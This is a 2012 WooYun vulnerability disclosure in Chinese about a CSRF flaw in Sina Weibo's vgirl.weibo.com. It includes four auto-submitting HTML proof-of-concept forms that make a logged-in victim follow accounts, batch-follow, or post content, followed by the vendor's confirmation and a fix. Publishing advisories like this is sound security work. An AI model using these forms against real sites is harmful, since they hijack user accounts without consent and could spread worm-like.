当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09502

漏洞标题:新浪微博某处CSRF漏洞

相关厂商:新浪

漏洞作者: imlonghao

提交时间:2012-07-11 17:40

修复时间:2012-08-25 17:41

公开时间:2012-08-25 17:41

漏洞类型:CSRF

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-11: 细节已通知厂商并且等待厂商处理中
2012-07-11: 厂商已经确认,细节仅向厂商公开
2012-07-21: 细节向核心白帽子及相关领域专家公开
2012-07-31: 细节向普通白帽子公开
2012-08-10: 细节向实习白帽子公开
2012-08-25: 细节向公众公开

简要描述:

我表示我不敢再乱写自评了。。我自评1你们还真的给我2RANK啊。。。
新浪微博某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博/批量加关注

详细说明:

在接受POST和GET的信息的时候,未对POST来路(Referer)进行验证,同时也没有在POST的信息中加token验证信息的正确性,导致漏洞产生。
漏洞几乎都是处在微女郎这个站。
http://vgirl.weibo.com

漏洞证明:

=========
加关注
漏洞地址:http://vgirl.weibo.com/interface/weibo/friendships.php

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://vgirl.weibo.com/interface/weibo/friendships.php?act=follow" method="post">
<input type="text" name="uid" value="1747906692" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


返回信息


=========
批量加关注
漏洞地址:同上

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://vgirl.weibo.com/interface/weibo/friendships.php?act=followbatch" method="post">
<input type="text" name="uids" value="1804283841,1632119007" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


返回信息


=========
发微博+图片 (图片地址可以是外部地址,会自动下载)
漏洞地址:http://vgirl.weibo.com/interface/weibo/statuses.php

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://vgirl.weibo.com/interface/weibo/statuses.php?act=upload" method="post">
<input type="text" name="img" value="http://static.youku.com/v1.0.0781/index/img/youkulogo-s.png" />
<input type="text" name="text" value="XXXXX" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


返回信息


微博


=========
发微博
漏洞地址:http://vgirl.weibo.com/interface/bbs/topic.php

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://vgirl.weibo.com/interface/bbs/topic.php?act=send_repost" method="post">
<input type="text" name="tid" value="1146" />
<input type="text" name="content" value="XXX" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


返回信息


微博

修复方案:

检查POST来路Referer
在POST的信息中加token

版权声明:转载请注明来源 imlonghao@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-07-11 18:07

厂商回复:

多谢提供,立即处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-07-11 18:00 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一,一生二,二生三,三生万物,万物负...)

    害洒家又返回看了下楼主的上个CSRF,果然...

  2. 2012-07-11 19:57 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @wanglaojiu 呜呜呜,可怜吧、、、

  3. 2012-07-12 08:04 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一,一生二,二生三,三生万物,万物负...)

    @imlonghao 可怜的孩纸

  4. 2012-08-10 20:44 | Vty ( 普通白帽子 | Rank:199 漏洞数:37 )

    湖北区欢迎湖北的QQ群234981834